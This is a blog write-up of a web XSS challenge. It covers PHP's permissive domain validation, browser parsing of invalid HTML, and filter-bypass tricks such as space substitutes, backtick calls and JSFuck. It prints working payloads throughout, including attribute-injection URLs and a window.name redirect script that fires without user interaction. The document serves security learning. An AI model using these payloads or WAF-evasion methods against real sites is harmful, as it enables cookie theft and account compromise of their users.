What I have learned from an XSS Challenge?
Background
I usually don’t have much time to play with challenges, however, a recent Tweet from @junorouse drawn my attention!
Here are what I have learned after solving this challenge:
- Stunning facts about DOMAINS (DNS Records)
- Web Browsers are not strict about invalid HTML
- Get XSS executed in an <a> HTML Tag without user interaction!
- Trigger a DOM-based XSS by weaponizing window.name
I realized that we should never say no to new challenges!
Are you excited about getting your hands dirty? So let’s dive in!
1. Stunning facts about DOMAINS
According to RFC 2181, there are very few restrictions about domain names:
Any binary string can serve as the value of any record that includes a domain name as some or all of its value (SOA, NS, MX, PTR, CNAME, and any others that may be added).[11. Name Syntax]
According to the above paragraph, a subdomain can be also represented as:
bad('me');d=[1].withgoogle.com
This malicious subdomain may lead to serious attacks like Code Execution, XSS and more.
Unfortunately, most of Hosting or Cloud Providers like AWS and DigitalOcean, restrict DNS records to a-z, A-Z, 0–9, . and -. which make such attacks nearly impossible.
THE GOOD NEWS, many software implementations, based on RFC 2181 are vulnerable!
As example in the most recent PHP 7.x, FILTER_VALIDATE_DOMAIN accepts any characters in the domain:
var_dump(filter_var("bad('me');d=[1].withgoogle.com", FILTER_VALIDATE_DOMAIN));
The output will be:
string(30) "bad('me');d=[1].withgoogle.com"
We used withgoogle.com because we need a Wildcard A Record (subdomain) for the following condition to be satisfied:
if(checkdnsrr($parsed['host'], 'A'))
As result we have our malicious domain passed to the <a> HTML Tag:
2. Web Browsers are not strict about invalid HTML
As everybody knows that Cross-Site Scripting prevention techniques involve escaping/encoding of user’s inputs:
$payload = '"><script>alert(0)</script>';
echo "<a href='".htmlspecialchars($payload)."'></a>";
Resulting in an escaped string:
<a href='"><script>alert(0)</script>'></a>
What most of us do in this case? Injecting Tag attributes in order to trigger an event handler:
$payload = "' onmouseenter='alert(0)";
Our payload get executed by onmouseenter
event-handler:
<a href='' onmouseenter='alert(0)'></a>
BUT, What if we cannot use space,(
,)
and '
characters?
Up until recently, I was ignoring reflected XSS bugs where those characters are escaped, especially with the space between attributes.
I thought that HTML is so strict, but it is NOT!
Due to backward compatible, each Web Browser use its own algorithm to parse HTML even if it’s INVALID, resulting in plenty of techniques to escape XSS filters.
Here are some examples:
- When it is not possible to use space character:
<a href='//'onmouseenter='alert(0)'name='a'>XSS</a>
https://jsfiddle.net/et62myan/2/
- When it is not possible to use space,
(
,)
and'
characters:
<svg/onload=alert`1`>
More XSS payloads, collected by Renwa, can be found in:
You can always experiment with yourself to discover new techniques. A simple approach involves fuzzing, by trying different combinations.
In the following proof-of-concept, I used a well-known payload and tried to guess UTF-8 characters from 0x0000 to 0x00FF that can be used instead of space character: https://jsfiddle.net/t5h8jm36
Other than characters we already know, It seems that FF, TAB and LF can be used instead of space, check: https://jsfiddle.net/c37y6ek1
You can use the same technique to find a replacement for (
and ).
HOLD ON! What if some keywords like document.cookie
or window.location
are blocked?
- Did you know that JavaScript can be executed with only 6 characters []()!+?
Check out this tool by Martin Kleppe: http://www.jsfuck.com/
Cool, isn’t it? More details about this technique in https://github.com/aemkei/jsfuck
3. Get XSS executed in an <a>
HTML Tag without user interaction!
Let’s compile everything together, so the exploit link will be:
http://x.imjuno.com/funny/?comment=//\%27onmouseenter=alert(document.domain);a=%27.withgoogle.com
Reflected as:
NOT ENOUGH? We need the payload to be executed automatically!
By using onfocus
event-handler, setting an anchor name/id and by adding a hashtag #
at the end of the visited URL, the Browser will identify a jump within the page and run our XSS payload.
Here’s our new link:
4. Trigger a DOM-based XSS by weaponizing window.name
LAST but not the least, What if you encounter size-limitation, the WAF filters some keywords or even if you don’t want your payloads to be logged in backend e.g. in access.log?
window.name is one of the common sources used to inject scripts to exploit DOM-based XSS vulnerabilities.
The new exploit looks like:
<script>
// Load our main XSS payload in the window.name source
window.name = "javascript:alert(document.domain);"
// Slightly updated to exploit the DOM-based XSS
url = "http://x.imjuno.com/funny/?comment=//%27onfocus=%27location=window.name%27id=%27xss%27info=%27.withgoogle.com/#xss";
location=url;
</script>
Don’t you believe it? here is a capture from Fiddler (HTTP Sniffer):
In our case this method is the most convenient, due to subdomain’s label limitation of max 63 characters.
Tips:
Did you learn new things, like I did?
- Add subdomain injection to your testing checklist whenever working on XSS, SSRF or RCE…etc., either on forms or headers like referer or Origin.
- WAFs use blacklisting and Browsers execute invalid HTML, so there will be always a way to bypass XSS filters.
- Learn by doing, try to set up your own Penetration Testing Environment, participate in challenges and CTFs, don’t wait for others to show you how!
- Learn from others, Twitter is a good source for security researchers, from hack-activities from platforms like Hackerone.com and Bugcrowd.com you could learn new techniques.
Credit: A special thanks to Im Juno for inspiring me to write this post.